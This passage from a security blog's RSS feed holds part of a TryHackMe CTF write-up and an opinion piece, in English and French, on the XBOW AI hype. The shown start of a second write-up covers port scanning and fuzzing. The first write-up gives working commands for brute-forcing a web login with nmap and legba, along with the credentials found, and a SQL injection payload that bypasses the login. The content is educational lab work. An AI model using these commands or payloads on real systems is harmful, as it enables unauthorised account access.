class="line"><span>        -p 80 \</span></span><span class="line"><span>        lessonlearned.thm</span></span><span class="line"><span>[…]</span></span><span class="line"><span>PORT   STATE SERVICE</span></span><span class="line"><span>80/tcp open  http</span></span><span class="line"><span>| http-form-brute:</span></span><span class="line"><span>|   Accounts: No valid accounts found</span></span><span class="line"><span>|   Statistics: Performed 257 guesses in 89 seconds, average tps: 3.3</span></span><span class="line"><span>|_  ERROR: The service seems to have failed or is heavily firewalled...</span></span></code></pre></div></div></figure><p>Nop, maybe we need to specify the error message too?</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ nmap --script http-form-brute \</span></span><span class="line"><span>        --script-args \</span></span><span class="line"><span>            "userdb=/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt,</span></span><span class="line"><span>            http-form-brute.onfailure='Invalid username and password.'" \</span></span><span class="line"><span>        -p 80 \</span></span><span class="line"><span>        lessonlearned.thm</span></span><span class="line"><span>[…]</span></span><span class="line"><span>PORT   STATE SERVICE</span></span><span class="line"><span>80/tcp open  http</span></span><span class="line"><span>| http-form-brute:</span></span><span class="line"><span>|   Accounts:</span></span><span class="line"><span>|     martin:martin - Valid credentials</span></span><span class="line"><span>|     marcus:marcus - Valid credentials</span></span><span class="line"><span>|     stuart:stuart - Valid credentials</span></span><span class="line"><span>|     patrick:patrick - Valid credentials</span></span><span class="line"><span>|     kelly:kelly - Valid credentials</span></span><span class="line"><span>|   Statistics: Performed 427 guesses in 155 seconds, average tps: 3.3</span></span><span class="line"><span>|_  ERROR: The service seems to have failed or is heavily firewalled...</span></span></code></pre></div></div></figure><p>It's powerful, the autodetection is working well but for complex cases the syntax is very heavy. Also, the output is not instantly updated, you need to wait for the full attack to finish to see the results.</p><h3 id="Legba">Legba<a class="header-anchor" href="#Legba">#</a></h3><p>Let's read the <a href="https://github.com/evilsocket/legba/wiki/HTTP">HTTP page of the wiki</a>.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ legba http \</span></span><span class="line"><span>  -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \</span></span><span class="line"><span>  -P noraj \</span></span><span class="line"><span>  -T http://lessonlearned.thm/ \</span></span><span class="line"><span>  --http-method POST \</span></span><span class="line"><span>  --http-failure-string 'Invalid username and password.' \</span></span><span class="line"><span>  --http-payload 'username={USERNAME}&#x26;password={PASSWORD}' \</span></span><span class="line"><span>  -Q</span></span><span class="line"><span>legba v0.11.0</span></span><span class="line"><span></span></span><span class="line"><span>[INFO ] target: http://lessonlearned.thm/</span></span><span class="line"><span>[INFO ] username -> wordlist /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt</span></span><span class="line"><span>[INFO ] password -> string 'noraj'</span></span><span class="line"><span></span></span><span class="line"><span>[INFO ] [2025-07-20 21:36:46] (http) &#x3C;http://lessonlearned.thm/> username=martin password=noraj</span></span><span class="line"><span>[INFO ] [2025-07-20 21:36:46] (http) &#x3C;http://lessonlearned.thm/> username=patrick password=noraj</span></span><span class="line"><span>[INFO ] [2025-07-20 21:36:48] (http) &#x3C;http://lessonlearned.thm/> username=stuart password=noraj</span></span><span class="line"><span>[INFO ] [2025-07-20 21:36:48] (http) &#x3C;http://lessonlearned.thm/> username=marcus password=noraj</span></span><span class="line"><span>[INFO ] [2025-07-20 21:36:53] (http) &#x3C;http://lessonlearned.thm/> username=kelly password=noraj</span></span><span class="line"><span>[INFO ] [2025-07-20 21:36:57] (http) &#x3C;http://lessonlearned.thm/> username=arnold password=noraj</span></span><span class="line"><span>[INFO ] [2025-07-20 21:36:58] (http) &#x3C;http://lessonlearned.thm/> username=Martin password=noraj</span></span><span class="line"><span>[INFO ] [2025-07-20 21:37:00] (http) &#x3C;http://lessonlearned.thm/> username=karen password=noraj</span></span><span class="line"><span>[INFO ] [2025-07-20 21:37:04] (http) &#x3C;http://lessonlearned.thm/> username=Patrick password=noraj</span></span></code></pre></div></div></figure><p>It's exactly what I looked for:</p><ul><li>the syntax is nice</li><li>options are powerful<ul><li>username and password arguments can be string, files, glob expressions, etc.</li><li>targets can be one, several, ranges, file, etc.</li><li>options to manage anti-CSRF</li><li>several output formats</li><li>(less nice is that success or failure message can be only a string and not a regexp)</li></ul></li><li>easy to use without tons of documentation reading</li><li>many protocols</li><li>perform well</li><li>can create your own <a href="https://github.com/evilsocket/legba/wiki/Recipes">recipes</a> e.g. a bruteforce for a specific CMS form</li></ul><p>The test is conclusive, legba will be my new go to tool for bruteforcing.</p><p>Let's get back to the challenge.</p><h2 id="SQL-injection">SQL injection<a class="header-anchor" href="#SQL-injection">#</a></h2><p>So now that we know a few valid username, we can try to authenticate with whatever password and observe the output message.Indeed, this time, the error is just <code>Invalid password.</code>.</p><p>Let's try to inject <code>marcus' -- -</code> to see if we can authenticate as marcus account.</p><p>We obtain the flag, and the following teaching message:</p><blockquote><p>Well done! You bypassed the login without deleting the flag!</p><p>If you're confused by this message, you probably didn't even try an SQL injection using something like OR 1=1. Good for you, you didn't need to learn the lesson.</p><p>For everyone else who had to reset the box...lesson learned?</p><p>Using OR 1=1 is risky and should rarely be used in real world engagements. Since it loads all rows of the table, it may not even bypass the login, if the login expects only 1 row to be returned. Loading all rows of a table can also cause performance issues on the database. However, the real danger of OR 1=1 is when it ends up in either an UPDATE or DELETE statement, since it will cause the modification or deletion of every row.</p><p>For example, consider that after logging a user in, the application re-uses the username input to update a user's login status: UPDATE users SET online=1 WHERE username='<username>';</p><p>A successful injection of OR 1=1 here would cause every user to appear online. A similar DELETE statement, possibly to delete prior session data, could wipe session data for all users of the application.</p><p>Consider using AND 1=1 as an alternative, with a valid input (in this case a valid username) to test / confirm SQL injection.</p></blockquote><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>About the hype around XBOW</title>
      <link>https://blog.raw.pm/en/about-the-hype-around-xbow/</link>
      <description>
        <![CDATA[<h2 id="Introduction">Introduction<a class="header-anchor" href="#Introduction">#</a></h2>
<p>You have all seen the hype around XBOW: “<a hr]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/security/">security</category>
      <category domain="https://blog.raw.pm/categories/security/news/">news</category>
      <category domain="https://blog.raw.pm/tags/ai/">ai</category>
      <category domain="https://blog.raw.pm/tags/bug-bounty/">bug bounty</category>
      <pubDate>Sun, 29 Jun 2025 23:16:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="Introduction">Introduction<a class="header-anchor" href="#Introduction">#</a></h2><p>You have all seen the hype around XBOW: “<a href="https://xbow.com/blog/top-1-how-xbow-did-it/">the AI that climbed 1st on HackerOne leaderboard</a>”.</p><p><img src="/images/xbow-leaderboard.png" alt="HackerOne leaderboard"></p><p>As often, when something new appears or a new critical vulnerability is discovered, everyone is exited and specialized journalists (or influencers) are overexaggerating to create a buzz.</p><p>In order to clarify matters, XBOW is the AI that became 1st on HackerOne <strong>USA</strong> leaderboard <strong>based on reputation gain</strong> BUT <strong>only when you consider the April to June 2025 date range</strong>.</p><p>XBOW achievements are impressive but not as much as social networks let you think there are.</p><h2 id="HackerOne-reputation">HackerOne reputation<a class="header-anchor" href="#HackerOne-reputation">#</a></h2><p>XBOW is <strong>NOT</strong>:</p><ul><li>1st on <em>Highest Reputation</em> leaderboard (neither of last 3 months / 90 days nor of all-time)<ul><li>Ranking is calculated based on reputation earned.</li></ul></li><li>1st on <em>Highest Critical Reputation</em> leaderboard<ul><li>Based on reputation gain for high and critical submissions that are triaged or resolved.</li></ul></li><li>1st based on Signal</li><li>1st based on Impact</li><li>1st of <em>Most Upvoted</em> leaderboard<ul><li>Hackers with the highest number of report upvotes on Hacktivity.</li></ul></li><li>1st on <em>USA</em> leaderboard of all-time<ul><li>Based on reputation gain.</li></ul></li><li>Etc.</li></ul><p>As said before, XBOW is 1st on HackerOne <strong>USA</strong> leaderboard <strong>based on reputation gain</strong> BUT <strong>only when you consider the April to June 2025 date range</strong>.</p><p>But what is <a href="https://docs.hackerone.com/en/articles/8369865-reputation">reputation</a> on HackerOne?</p><p>In theory:</p><blockquote><p>Reputation measures how likely your finding is to be immediately relevant and actionable</p></blockquote><p>In practice, to make it short, <a href="https://docs.hackerone.com/en/articles/8369865-reputation">reputation</a> is a score that is updated when your report is closed. If your report is valid, you earn points, if your report is useless, bullshit, you didn't follow the rules, automated spam, or it's not even a vulnerability because you're too noob, you loose points.</p><p>What <strong>is not</strong> impressive about XBOW, is the reputation score. What <strong>is</strong> impressive about XBOW, is also the reputation score.</p><p>Indeed, as <a href="https://docs.hackerone.com/en/articles/8369865-reputation">reputation</a> is quantitative, of course an AI agent or automated tool working 24/7 on a datacenter will earn more points because it will submit more reports. Human hunters need to sleep, eat, have a life and all the stuff. So there is nothing amazing that an AI is beating a human from this point of view.</p><p>However, <a href="https://docs.hackerone.com/en/articles/8369865-reputation">reputation</a> is not only quantitative, as one will lose points for <em>Not Applicable</em> or <em>Spam</em> reports. So the challenge with automated software in this case, is to limit the false positive, so the <a href="https://docs.hackerone.com/en/articles/8369865-reputation">reputation</a> won't decrease too much. Traditional automated software such as vulnerability scanners, DAST platforms and co, will often have 90% of their reports either false positive (lose points) or useless / informative (0 point) while in the same time they have 90% of false negative (not finding vulnerabilities right under their nose).</p><p>So what seems impressive in the first place with XBOW, is the very low volume of false positive, thanks to “AI training” that make it possible for it to gain a high reputation score rapidly.</p><h2 id="100-automated-autonomous">100% automated / autonomous?<a class="header-anchor" href="#100-automated-autonomous">#</a></h2><p>But in <a href="https://xbow.com/blog/top-1-how-xbow-did-it/">their post</a>, they quickly specify that HackerOne forbids automated reporting, so humans behind XBOW are reviewing 100% of the reports.</p><blockquote><p>All findings were fully automated, though our security team reviewed them pre-submission to comply with HackerOne’s policy on automated tools.</p></blockquote><p>There a lot of obscurity there. As all the reports are review by XBOW human teams, they don't say what they do on the reports. Do they modify them? Do they improve them? Do they remove false positive ones?</p><p>I bet they do. I bet they remove false positive reports. So maybe in intern, the AI is spamming false positive reports that the XBOW human team is actively filtering. The only number they provide is about the closed reports and not yet triaged submissions, that means only the reports that passed XBOW human team review are counted. What about the reports that did not? What is the ratio of their internal triaging? Nobody knows…</p><p>Also, they claim:</p><blockquote><p>XBOW is a fully autonomous AI-driven penetration tester. It requires no human input, operates much like a human pentester, but can scale rapidly, completing comprehensive penetration tests in just a few hours.</p></blockquote><p>To me, that is the marketing speech you serve to the investors to get the millions of dollars. But is it “fully autonomous”? Of course not, it was trained during years, tweaked, refined, is running home-made benchmark, the model is constantly reinforced all by humans. There is <a href="https://xbow.com/#team">a team</a> of at least 25 security, engineering, and AI researchers behind it. And in addition to that, the manual internal triaging we talked about above.</p><h2 id="About-AI">About AI<a class="header-anchor" href="#About-AI">#</a></h2><p>In general, I'm tired of hearing pentesters and hunters comment on Discord or Twitter:</p><blockquote><ul><li>Alice: How do you feel about people coming to the conclusion about bug hunters being “replaced”?</li><li>Bob: It seems we’re heading in that direction. AI can find bugs and even code their own exploits.</li></ul></blockquote><p>😱 Are we all (hunters) being replaced by AI? 😱 The recurring fear of human being replaced by its new machine (like in <em>Terminator</em> or countless other movies). I think not.</p><p>To take just one example. AI are trained on datasets produced by humans, so innovation and adaptations to new technologies and technics seem limited. We still need humans doing research, publishing their discoveries publicly, data engineers making this information ingestible by computers, and AI experts training their model on it. At least until we create self-learning AI agents that do their own research.</p><p>But for now, it seems that AI will still be one step behind top hunters. However, the AI can process an insane amount of scope compared to humans. In fact AI is just a better automation layer in this field (security and bug hunting). It helps reduce false positives of existing software and also to automate the writing of new modules. Any traditional scanner like Nessus or Nuclei, requires a human to write a new module for a new vulnerability. With AI, you create an algorithm, to which you give random data about new vulnerabilities, and to whom you say “do something with that”, and the algorithm do the magic of “learning it” automatically.</p><p>Does AI tend to make better automated software? Yes. Will AI totally replace us? I believe not any time soon.</p><p>I rather think AI will do the <em>quantity</em> part of finding common vulnerabilities in mass while humans hunters will have to focus on <em>quality</em>, edge cases, discovering new attack vectors, if they want to compete with automated software (if there really is a competition, and we are not comparing a team of 25 people plus a datacenter to one human hunter). Hunter will have to be researchers, while AI will be the labor worker.</p><h2 id="Disclaimer">Disclaimer<a class="header-anchor" href="#Disclaimer">#</a></h2><p>This post is based on quick thoughts I had reading the news and earring colleagues during the past week. This is by no means a scientific study or in depth analysis of the AI model behind XBOW. I may be wrong, that is just an honest opinion generated by the agitation around the AI hype.</p><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>À propos du battage médiatique autour de XBOW</title>
      <link>https://blog.raw.pm/fr/a-propos-du-battage-mediatique-autour-de-xbow/</link>
      <description>
        <![CDATA[<h2 id="Introduction">Introduction<a class="header-anchor" href="#Introduction">#</a></h2>
<p>Vous avez tous vu le battage médiatique autour]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/security/">security</category>
      <category domain="https://blog.raw.pm/categories/security/news/">news</category>
      <category domain="https://blog.raw.pm/tags/ai/">ai</category>
      <category domain="https://blog.raw.pm/tags/bug-bounty/">bug bounty</category>
      <category domain="https://blog.raw.pm/tags/ia/">ia</category>
      <category domain="https://blog.raw.pm/tags/prime-aux-bogues/">prime aux bogues</category>
      <pubDate>Sun, 29 Jun 2025 23:16:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="Introduction">Introduction<a class="header-anchor" href="#Introduction">#</a></h2><p>Vous avez tous vu le battage médiatique autour de XBOW : «<a href="https://xbow.com/blog/top-1-how-xbow-did-it/">l'IA qui s'est hissée à la première place du classement de HackerOne</a>».</p><p><img src="/images/xbow-leaderboard.png" alt="Classement HackerOne"></p><p>Comme souvent, lorsque quelque chose de nouveau apparaît ou qu'une nouvelle vulnérabilité critique est découverte, tout le monde est excité et les journalistes spécialisés (ou les influenceurs) exagèrent pour créer un engouement médiatique.</p><p>Afin de clarifier les choses, XBOW est l'IA qui est devenue la première au classement des <strong>EUA</strong> (États-Unis d'Amérique) sur HackerOne <strong>selon le gain de réputation</strong> MAIS <strong>uniquement si l'on considère la période d'avril à juin 2025</strong>.</p><p>Les accomplissements de XBOW sont impressionnants, mais pas autant que les réseaux sociaux le laissent penser.</p><h2 id="La-reputation-sur-HackerOne">La réputation sur HackerOne<a class="header-anchor" href="#La-reputation-sur-HackerOne">#</a></h2><p>XBOW n'est <strong>PAS</strong> :</p><ul><li>1er au classement du <em>Plus haut niveau de réputation</em> (ni des 3 derniers mois / 90 jours, ni de tous les temps)<ul><li>Le classement est calculé en fonction de la réputation gagnée.</li></ul></li><li>1er au classement de la <em>Réputation critique la plus élevée</em><ul><li>Basé sur le gain de réputation pour les soumissions élevées et critiques qui sont triées ou résolues.</li></ul></li><li>1er sur la base du signal</li><li>1er sur la base de l'impact</li><li>1er du classement du <em>plus voté</em><ul><li>Hackers avec le plus grand nombre de rapports ayant reçu des votes positifs sur Hacktivity.</li></ul></li><li>1er du classement <em>EUA</em> de tous les temps<ul><li>Basé sur le gain de réputation.</li></ul></li><li>Etc.</li></ul><p>Comme dit auparavant, XBOW est la première au classement des <strong>EUA</strong> sur HackerOne <strong>selon le gain de réputation</strong> MAIS <strong>uniquement si l'on considère la période d'avril à juin 2025</strong>.</p><p>Mais qu'est-ce que la <a href="https://docs.hackerone.com/en/articles/8369865-reputation">réputation</a> sur HackerOne ?</p><p>En théorie :</p><blockquote><p>La réputation mesure la probabilité que votre résultat soit immédiatement pertinent et exploitable.</p></blockquote><p>En pratique, pour faire court, la <a href="https://docs.hackerone.com/en/articles/8369865-reputation">réputation</a> est un indice qui est mis à jour lorsque votre rapport est clos. Si votre rapport est valide, vous gagnez des points, si votre rapport est inutile, à la con, que vous n'avez pas suivi les règles, du pourriel automatisé, ou que ce n'est même pas une vulnérabilité parce que vous êtes trop naze, vous perdez des points.</p><p>Ce qui <strong>n'est pas</strong> impressionnant dans XBOW, c'est l'indice de réputation. Ce qui <strong>est</strong> impressionnant dans XBOW, c'est aussi l'indice de réputation.</p><p>En effet, comme la <a href="https://docs.hackerone.com/en/articles/8369865-reputation">réputation</a> est quantitative, il est évident qu'un agent IA ou un outil automatisé travaillant 24/24h et 7/7j dans un centre de données gagnera plus de points parce qu'il soumettra plus de rapports. Les chasseurs humains ont besoin de dormir, de manger, d'avoir une vie et tout le reste. Il n'y a donc rien d'étonnant à ce qu'une IA batte un humain de ce point de vue.</p><p>Cependant, la <a href="https://docs.hackerone.com/en/articles/8369865-reputation">réputation</a> n'est pas seulement quantitative, car on perd des points pour les rapports <em>Non Applicable</em> ou <em>Pourriel</em>. Dans ce cas, le défi des logiciels automatisés est donc de limiter les faux positifs, afin que la <a href="https://docs.hackerone.com/en/articles/8369865-reputation">réputation</a> ne diminue pas trop. Les logiciels automatisés traditionnels tels que les sonde de vulnérabilités, les plateformes de tests applicatifs dynamiques et autres, auront souvent 90% de leurs rapports qui sont soit des faux positifs (perte de points) soit inutiles/informatifs (0 point) alors que dans le même temps, ils ont 90% de faux négatifs (ne trouvent pas les vulnérabilités qui se sont juste sous leur nez).</p><p>Donc ce qui semble impressionnant en premier lieu avec XBOW, c'est le très faible volume de faux positifs, grâce à « l'entraînement de l'IA » qui lui permet de gagner rapidement un indice de réputation élevé.</p><h2 id="100-automatise-autonome">100% automatisé / autonome ?<a class="header-anchor" href="#100-automatise-autonome">#</a></h2><p>Mais dans <a href="https://xbow.com/blog/top-1-how-xbow-did-it/">leur post</a>, ils précisent rapidement que HackerOne interdit les rapports automatisés, de sorte que les humains derrière XBOW examinent 100 % des rapports.</p><blockquote><p>Tous les résultats ont été entièrement automatisés, bien que notre équipe de sécurité les ait examinés avant leur soumission afin de se conformer à la politique de HackerOne en matière d'outils automatisés.</p></blockquote><p>Il y a beaucoup d'obscurité là-dedans. Comme tous les rapports sont revus par les équipes humaines de XBOW, ils ne disent pas ce qu'ils font sur les rapports. Les modifient-ils ? Les améliorent-ils ? Suppriment-ils les faux positifs ?</p><p>Je parie que c'est le cas. Je parie qu'ils suppriment les rapports qui sont des faux positifs. Donc peut-être qu'en interne, l'IA génère de nombreux rapports qui sont des faux positifs que l'équipe humaine de XBOW filtre activement. Le seul chiffre qu'ils fournissent concerne les rapports clos et les soumissions non encore triées, ce qui signifie que seuls les rapports qui ont passé l'examen de l'équipe humaine de XBOW sont considérés. Qu'en est-il des rapports qui n'ont pas été examinés ? Quel est le taux de triage interne ? Personne ne le sait…</p><p>Ils affirment également que :</p><blockquote><p>XBOW est un testeur d'intrusion entièrement autonome, piloté par l'IA. Il ne nécessite aucune intervention humaine, fonctionne comme un testeur humain, mais peut évoluer rapidement, réalisant des tests d'intrusion complets en quelques heures seulement.</p></blockquote><p>Pour moi, c'est le discours promotionnel que vous tenez aux investisseurs pour obtenir des millions de dollars (ou francs). Mais est-il « entièrement autonome » ? Bien sûr que non, il a été entraîné pendant des années, ajusté, affiné, il exécute des tests de référence faits maison, le modèle est constamment renforcé, le tout par des humains. Une <a href="https://xbow.com/#team">équipe</a> d'au moins 25 chercheurs en sécurité, en ingénierie et en IA est derrière lui. À cela s'ajoute le triage manuel interne dont nous avons parlé plus haut.</p><h2 id="A-propos-de-l-IA">À propos de l'IA<a class="header-anchor" href="#A-propos-de-l-IA">#</a></h2><p>En général, je suis fatiguée d'entendre les testeurs et les chasseurs commenter sur Discord ou Twitter :</p><blockquote><ul><li>Alice : Que pensez-vous des gens qui arrivent à la conclusion que les chasseurs de bogues sont « remplacés » ?</li><li>Bob : Il semble que nous allions dans cette direction. L'IA peut trouver des bogues et même coder ses propres scripts d'exploitations.</li></ul></blockquote><p>😱 Sommes-nous tous (les chasseurs) remplacés par l'IA ? 😱 La peur récurrente de l'humain remplacé par sa nouvelle machine (comme dans <em>Terminator</em> ou d'innombrables autres films). Je pense que non.</p><p>Pour ne prendre qu'un exemple. Les IA sont formées sur des corpus de données produites par des humains, de sorte que l'innovation et l'adaptation aux nouvelles technologies et techniques semblent limitées. Nous avons toujours besoin d'humains qui font de la recherche, qui publient leurs découvertes, d'ingénieurs en données qui rendent ces informations ingérables par les ordinateurs, et d'experts en IA qui entraînent leur modèle sur ces données. Du moins jusqu'à ce que nous créions des agents d'IA auto-apprenants qui effectuent leurs propres recherches.</p><p>Mais pour l'instant, il semble que l'IA sera toujours à la traîne par rapport aux meilleurs chasseurs. Cependant, l'IA peut traiter un nombre considérable d'informations par rapport aux humains. En fait, l'IA n'est qu'une meilleure couche d'automatisation dans ce domaine (sécurité et chasse aux bogues). Elle permet de réduire les faux positifs des logiciels existants et d'automatiser l'écriture de nouveaux modules. Toute sonde traditionnelle comme Nessus ou Nuclei nécessite un humain pour écrire un nouveau module pour chaque nouvelle vulnérabilité. Avec l'IA, vous créez un algorithme auquel vous donnez des données aléatoires sur les nouvelles vulnérabilités et à qui vous dites « faites quelque chose avec ça », et l'algorithme fait la magie de « l'apprendre » automatiquement.</p><p>L'IA tend-elle à produire de meilleurs logiciels automatisés ? Oui. L'IA nous remplacera-t-elle totalement ? Je pense que ce n'est pas pour demain.</p><p>Je pense plutôt que l'IA se chargera de la partie <em>quantitative</em> consistant à trouver des vulnérabilités communes en masse, tandis que les chasseurs humains devront se concentrer sur la <em>qualité</em>, les cas limites, la découverte de nouveaux vecteurs d'attaque, s'ils veulent rivaliser avec les logiciels automatisés (s'il y a vraiment une concurrence, et que nous ne comparons pas une équipe de 25 personnes plus un centre de données à un chasseur humain). Les chasseurs devront être des chercheurs, tandis que l'IA sera le besogneux.</p><h2 id="Decharge-de-responsabilite">Décharge de responsabilité<a class="header-anchor" href="#Decharge-de-responsabilite">#</a></h2><p>Ce billet de blogue est basé sur des réflexions succinctes que j'ai eues en lisant les nouvelles et en écoutant mes collègues au cours de la semaine écoulée. Il ne s'agit en aucun cas d'une étude scientifique ou d'une analyse approfondie du modèle d'IA qui sous-tend XBOW. Je peux me tromper, ce n'est qu'une opinion honnête engendrée par l'irritation suscitée par le battage médiatique autour de l'IA.</p><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Billing - Write-up - TryHackMe</title>
      <link>https://blog.raw.pm/en/TryHackMe-Billing-write-up/</link>
      <description>
        <![CDATA[<h1>Information</h1>
<h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2>
<ul>
<li><strong>Name:</strong> Billing</li>
<li><st]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/security/">security</category>
      <category domain="https://blog.raw.pm/tags/fail2ban/">fail2ban</category>
      <category domain="https://blog.raw.pm/tags/web/">web</category>
      <category domain="https://blog.raw.pm/tags/php/">php</category>
      <category domain="https://blog.raw.pm/tags/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/eop/">eop</category>
      <category domain="https://blog.raw.pm/tags/sudo/">sudo</category>
      <category domain="https://blog.raw.pm/tags/thm/">thm</category>
      <category domain="https://blog.raw.pm/tags/asterisk/">asterisk</category>
      <pubDate>Sun, 27 Apr 2025 00:35:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1>Information</h1><h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2><ul><li><strong>Name:</strong> Billing</li><li><strong>Profile:</strong> <a href="https://tryhackme.com/room/billing">tryhackme.com</a></li><li><strong>Difficulty:</strong> Easy</li><li><strong>Description</strong>: Some mistakes can be costly.</li></ul><p><img src="/images/TryHackMe/billing.png" alt="Billing"></p><h1>Write-up</h1><h2 id="Overview">Overview<a class="header-anchor" href="#Overview">#</a></h2><p>Install tools used in this WU on <a href="https://blackarch.org">BlackArch Linux</a>:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> pacman</span><span style="color:#D19A66"> -S</span><span style="color:#98C379"> nmap</span><span style="color:#98C379"> nuclei</span><span style="color:#98C379"> ffuf</span><span style="color:#98C379"> pass-station</span><span style="color:#98C379"> metasploit</span></span></code></pre></div></div></figure><div style="width: [width];margin: 0 auto">    <canvas id="chart9505" style="height: [height]px"></canvas></div><script src="https://cdn.jsdelivr.net/npm/chart.js@2.9.3/dist/Chart.min.js"></script><script type="text/javascript">    var ctx = document.getElementById('chart9505').getContext('2d');    var options = {  type: 'polarArea',  responsive: false,  data: {    labels: ['Enumeration', 'Real-Life', 'Well-Known Vulnerabilities', 'Custom Exploitation', 'CTF-Like', 'Scripting'],    datasets: [{      label: 'Box rating',      backgroundColor: [        'rgba(54, 163, 235, 0.5)',        'rgba(255, 99, 132, 0.5)',        'rgba(75, 192, 192, 0.5)',        'rgba(255, 205, 86, 0.5)',        'rgba(68, 205, 58, 0.5)',        'rgba(244, 81, 30, 0.5)'      ],      borderColor: [        'rgba(54, 163, 235, 1)',        'rgba(255, 99, 132, 1)',        'rgba(75, 192, 192, 1)',        'rgba(255, 205, 86, 1)',        'rgba(68, 205, 58, 1)',        'rgba(244, 81, 30, 1)'      ],      data: [        2,        2,        4,        3,        3,        1      ]    }]  },  options: {    legend: {      position: 'right',      labels: {        fontSize: 25      }    },    scale: {      ticks: {        beginAtZero: true,        stepSize: 1,        suggestedMax: 5      }    }  }};;    new Chart(ctx, options);</script><h2 id="Goal">Goal<a class="header-anchor" href="#Goal">#</a></h2><blockquote><p>Gain a shell, find the way and escalate your privileges!</p><p>Note: Bruteforcing is out of scope for this room.</p></blockquote><h2 id="Network-enumeration">Network enumeration<a class="header-anchor" href="#Network-enumeration">#</a></h2><p>First and foremost, let's add a domain to this machine.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ sudoedit /etc/hosts</span></span><span class="line"><span>➜ grep billing /etc/hosts</span></span><span class="line"><span>10.10.15.152 billing.thm</span></span></code></pre></div></div></figure><p>Note: The IP address can change over the write-up if I restarted the machine.</p><p>Scan available network services:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span># Nmap 7.95 scan initiated Mon Apr 21 21:50:21 2025 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap billing.thm</span></span><span class="line"><span>Nmap scan report for billing.thm (10.10.15.152)</span></span><span class="line"><span>Host is up, received echo-reply ttl 63 (0.48s latency).</span></span><span class="line"><span>Not shown: 64688 closed tcp ports (reset), 843 filtered tcp ports (no-response)</span></span><span class="line"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit</span></span><span class="line"><span>PORT     STATE SERVICE  REASON         VERSION</span></span><span class="line"><span>22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)</span></span><span class="line"><span>| ssh-hostkey:</span></span><span class="line"><span>|   3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)</span></span><span class="line"><span>|   256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)</span></span><span class="line"><span>|_  256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)</span></span><span class="line"><span>80/tcp   open  http     syn-ack ttl 63 Apache httpd 2.4.56 ((Debian))</span></span><span class="line"><span>| http-title:             MagnusBilling</span></span><span class="line"><span>|_Requested resource was http://billing.thm/mbilling/</span></span><span class="line"><span>|_http-server-header: Apache/2.4.56 (Debian)</span></span><span class="line"><span>| http-robots.txt: 1 disallowed entry</span></span><span class="line"><span>|_/mbilling/</span></span><span class="line"><span>| http-methods:</span></span><span class="line"><span>|_  Supported Methods: GET HEAD POST OPTIONS</span></span><span class="line"><span>3306/tcp open  mysql    syn-ack ttl 63 MariaDB 10.3.23 or earlier (unauthorized)</span></span><span class="line"><span>5038/tcp open  asterisk syn-ack ttl 63 Asterisk Call Manager 2.10.6</span></span><span class="line"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</span></span><span class="line"><span></span></span><span class="line"><span>Read data files from: /usr/bin/../share/nmap</span></span><span class="line"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span></span><span class="line"><span># Nmap done at Mon Apr 21 21:55:48 2025 -- 1 IP address (1 host up) scanned in 327.01 seconds</span></span></code></pre></div></div></figure><p>The SSH server is probably not the way to get in. The HTTP server is probably the first service to be reviewed. It's interesting to note the database socket is exposed. We can also see a PABX service, which is uncommon.</p><h2 id="Web-discovery">Web discovery<a class="header-anchor" href="#Web-discovery">#</a></h2><p>The root of the web server redirects to a sub-folder <a href="http://billing.thm/mbilling/">http://billing.thm/mbilling/</a>, which is a login page.</p><p>A quick nuclei scan shows nothing special.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">nuclei</span><span style="color:#D19A66"> -u</span><span style="color:#98C379"> http://billing.thm/mbilling/</span></span></code></pre></div></div></figure><h2 id="Web-fuzzing">Web fuzzing<a class="header-anchor" href="#Web-fuzzing">#</a></h2><p>Let's see if we can detect something more spicy.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">ffuf</span><span style="color:#D19A66"> -u</span><span style="color:#98C379"> http://billing.thm/FUZZ</span><span style="color:#D19A66"> -w</span><span style="color:#98C379"> /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt</span></span></code></pre></div></div></figure><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki 